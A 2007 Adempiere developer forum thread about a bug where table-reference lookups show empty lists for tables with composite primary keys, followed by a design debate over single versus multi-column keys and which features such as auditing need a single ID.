There is a problem when a gridtable has a field in it that is a "Table" (18) DataType and that table has multiple columns in it's primary key.

This seems to work for the "Search" (30) data type but not for "Table" (18)

I've started poking around in MColumn (possibly getConstraint) which I see is mostly updated by Carlos, but also by Victor and Teo.

Seeing as I'm not a developer but I think i've found a bug - it would be great if someone technical could have a look.

Mike

2007-07-04 15:12:12 UTC

Hi Michael,

The issue is as follows: if the column is parent then the lookup refuse to load the values, that's why the list appears empty, also when you right-click & refresh.
The field works when you set the reference as 'Search' because in this case loading values is not needed (because there is no combo box to choose).

Also, i tested by adding M_ProductPrice_ID primary key column and it works great.

Has anybody other ideas ?

Best regards,
Teo Sarca

2007-07-04 15:42:58 UTC

OK - so it sounds like adding a primary key might be the best solution. I wonder how many other tables this effects?

I wonder if their might be another solution where we create a virtual primary key for such "multiple field" primary key tables to that they work with the combo box.

It seems like creating the primary key on this table is just a fix for the problem at hand and doesn't solve the same issue with other tables. I would prefer to find a way that "multiple field" primary keys can be supported generally. However, I am happy to be guided by the talented and gifted

Mike

2007-07-04 17:44:13 UTC

>The issue is as follows: if the column is parent then the lookup refuse to load the values,
>that's why the list appears empty, also when you right-click & refresh.

I've fixed this in trunk, please verify with latest trunk.

Regards,
Low

2007-07-04 21:25:58 UTC

Hi Teo,

>Also, i tested by adding M_ProductPrice_ID primary key column and it works great.
>
>Has anybody other ideas ?

You raised one very interesting topic.

My personal opinion is that every table MUST have only one primary key and a set of MULTI UNIQUE columns if we need it.

This allows developer to extend table with more multi unique columns in future without changing primary key. Something like adding additional primary key, but without all the pain of primary keys.

If i had to design Adempiere from the begging i would use this approach.

Kind regards,
Trifon

2007-07-05 00:47:36 UTC

Hi, children table in Adempiere are intended for relations n by n.

I think is good to have the possibility of this tables.

These "children" tables have problems on the functionalities that needs a unique ID.

- Chat
- Attachment
- Archive
- Tables referencing other tables with AD_Table_ID+Record_ID (like Requests)

I think is good to have both options.

You can design your own customizations in such way that every table has ID.

Or if you don't need those feature you can choose to use children tables.

Regards,

Carlos Ruiz

2007-07-05 01:00:35 UTC

- >You can design your own customizations in such way that every table has ID.
- >Or if you don't need those feature you can choose to use children tables.

It is correct that in relational convention, child table use for n by n relations doesn't need to have a single unique key. However, Adempiere currently have many limitation working with table that doesn't have a single PK and therefore it is better to stick with the all table have ID pattern. I means it will be problematic to discover later that you would need one of those Adempiere feature that doesn't work with table without single PK.

Regards,
Low

2007-07-05 05:55:30 UTC

Hi Trifon

- >My personal opinion is that every table MUST
- >have only one primary key and a set of MULTI UNIQUE
- >columns if we need it.
- >This allows developer to extend table with more
- >multi unique columns in future without changing
- >primary key. Something like adding additional
- >primary key, but without all the pain of primary keys.

But if you think about DB server's memory usage and way it scans through btree indexes it is nice to have foreign key reference column in same index than a primary key.

But I totally agree with you that single primary keys are nicer for developers.

-kontro-

2007-07-05 07:07:48 UTC

OK - in that case I will log a 'feature request' for primary keys in the tables Carlos identified and construct some sql to create them.

Regards,

Mike

2007-07-05 08:21:32 UTC

Hi,

> OK - so it sounds like adding a primary key might be the best solution. I wonder how many other tables this effects?

There are a lot of tables in this case. As I see, the accounting tables (*_Acct) and translation tables (*_Trl) are in this situation but they are a special case and it works.

> It seems like creating the primary key on this table is just a fix for the problem at hand and doesn't solve the same

> issue with other tables. I would prefer to find a way that "multiple field" primary keys can be supported generally.

I always try to solve a problem globally, but sometimes is not possible. This can be a good example. The reason may be the real meaning of the fields and how they were used. Can you explain the following fields from AD_Column and their meaning: IsParent, IsKey, IsMandatory, DefaultValue.

> However, I am happy to be guided by the talented and gifted

Michael, i think this kind of comments are not beneficial, neither for me nor for you. Sometimes can bring bad karma.

Best regards,
Teo Sarca

2007-07-05 08:46:23 UTC

>> However, I am happy to be guided by the talented and gifted

>Michael, i think this kind of comments are not beneficial, neither for me nor for you. Sometimes can bring bad karma.

Sorry Teo - I didn't mean anything by it! Only that I know there are people out there much better at coding than me!

My understanding (with the usual caveat of I am not an expert) is:

isParent - used to flag a foreign keys e.g. M_priceList_Version_ID and M_product_ID in M_ProductPrice

IsKey - is the primary key - used for uniquely identifying the record

IsMandatory - just a rule to ensure that entry is made - does not seem to be linked to database constraints

DefaultValue - should be linked to the database default value - but not sure if this works on postgresql....

Mike

2007-07-14 11:58:42 UTC

Hi,

Just want to document another big issue with tables that have composed primary keys: they CAN'T be audited, i.e. the AD_ChangeLog is not generated for them.

Best regards,
Teo Sarca